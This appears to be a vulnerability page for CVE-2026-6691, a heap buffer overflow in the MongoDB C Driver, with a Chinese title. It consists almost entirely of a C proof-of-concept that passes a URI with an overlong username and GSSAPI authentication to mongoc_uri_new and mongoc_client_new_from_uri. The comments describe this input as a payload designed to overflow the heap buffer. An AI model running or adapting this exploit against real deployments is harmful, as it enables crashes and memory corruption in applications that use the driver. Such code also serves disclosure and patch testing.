CVE-2026-6691 MongoDB C Driver堆缓冲区溢出漏洞

#include <mongoc/mongoc.h> #include <stdio.h> int main() { // Initialize the MongoDB Driver mongoc_init(); // Construct a malicious URI with a long username. // The authMechanism is set to GSSAPI to trigger the vulnerable path. // This payload is designed to overflow the heap buffer during canonicalization. const char *uri_string = "mongodb://" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "@localhost/?authMechanism=GSSAPI"; // Parse the URI mongoc_uri_t *uri = mongoc_uri_new(uri_string); if (!uri) { printf("Failed to parse URI.\n"); return 1; } // Create client mongoc_client_t *client = mongoc_client_new_from_uri(uri); // The overflow occurs during internal processing of the URI/SASL setup // before actual network connection attempts. if (client) { mongoc_client_destroy(client); } mongoc_uri_destroy(uri); mongoc_cleanup(); return 0; }